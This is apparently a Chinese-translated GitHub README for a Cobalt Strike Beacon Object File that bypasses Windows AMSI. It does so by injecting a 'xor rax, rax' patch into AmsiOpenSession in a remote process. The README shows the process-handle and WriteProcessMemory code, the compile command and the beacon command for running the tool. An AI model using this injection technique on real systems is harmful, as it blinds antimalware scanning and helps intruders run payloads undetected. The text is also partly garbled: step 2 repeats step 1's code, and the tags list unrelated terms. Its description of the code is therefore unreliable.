boku7/injectAmsiBypass
GitHub: boku7/injectAmsiBypass
通过代码注入在远程进程中修补 AmsiOpenSession 函数实现 AMSI 绕过的 Cobalt Strike BOF 工具。
Stars: 382 | Forks: 70
## Cobalt Strike BOF - 注入 AMSI 绕过
通过代码注入在远程进程中绕过 AMSI 的 Cobalt Strike Beacon Object File (BOF)。
#### 从 CobaltStrike 运行 inject-amsiBypass BOF

### 这有什么作用?
##### 1. 使用提供的 PID 参数获取远程进程的句柄
```
hProc = KERNEL32$OpenProcess(PROCESS_VM_OPERATION | PROCESS_VM_WRITE, FALSE, (DWORD)pid);
```
##### 2. 将 AMSI.DLL 加载到 beacon 内存中并获取 AMSI.AmsiOpenSession 的地址
```
hProc = KERNEL32$OpenProcess(PROCESS_VM_OPERATION | PROCESS_VM_WRITE, FALSE, (DWORD)pid);
```
+ Beacon 和目标进程将拥有相同的符号地址。
+ 如果 AMSI.DLL 在远程进程中不存在,运行此操作可能会导致目标进程崩溃。
##### 3. 将 AMSI 绕过代码写入远程进程内存
```
unsigned char amsibypass[] = { 0x48, 0x31, 0xC0 }; // xor rax, rax
BOOL success = KERNEL32$WriteProcessMemory(hProc, amsiOpenSessAddr, (PVOID)amsibypass, sizeof(amsibypass), &bytesWritten);
```
### 方法 = AMSI.AmsiOpenSession
+ 使用 Offensive Security 的 PEN-300/OSEP(规避技术与突破防御)课程中教授的 AMSI 绕过技术。
+ https://www.offensive-security.com/pen300-osep/
### 概念验证演示截图
#### 之前 - Powershell.exe AMSI.AmsiOpenSession

#### 之后 - Powershell.exe AMSI.AmsiOpenSession

### 使用 x64 MinGW 编译:
```
x86_64-w64-mingw32-gcc -c inject-amsiBypass.c -o inject-amsiBypass.o
```
### 从 Cobalt Strike Beacon 控制台运行
```
beacon> inject-amsiBypass
```
+ 确保将 inject-amsiBypass.cna 脚本加载到 Cobalt Strikes Script Manager 中
### 待办事项清单
+ 在注入前检查 AMSI.DLL 是否存在于远程进程中
+ 添加其他 AMSI 绕过方法以进行注入
+ 支持 x86
### 致谢 / 参考
##### Raphael Mudge - Beacon Object Files - Luser 演示
+ https://www.youtube.com/watch?v=gfYswA_Ronw
##### Cobalt Strike - Beacon Object Files
+ https://www.cobaltstrike.com/help-beacon-object-files
##### BOF 代码参考
###### ajpc500/BOFs
+ https://github.com/ajpc500/BOFs/
###### trustedsec/CS-Situational-Awareness-BOF
+ https://github.com/trustedsec/CS-Situational-Awareness-BOF
##### Sektor7 Malware Dev Essentials 课程
+ https://institute.sektor7.net/red-team-operator-malware-development-essentials
##### Offensive Security OSEP
+ https://www.offensive-security.com/pen300-osep/
标签:AMSI Bypass, AmsiOpenSession, BOF, Cobalt Strike, Conpot, Gophish, MinGW, OSEP, PEN-300, SCP, SSH蜜罐, Windows安全, 免杀技术, 内存写入, 反恶意软件扫描接口, 客户端加密, 客户端加密, 攻击诱捕, 数据展示, 暴力破解检测, 欺骗防御, 私有化部署, 端点可见性, 红队, 绕过AMSI, 进程注入, 远程进程, 防御规避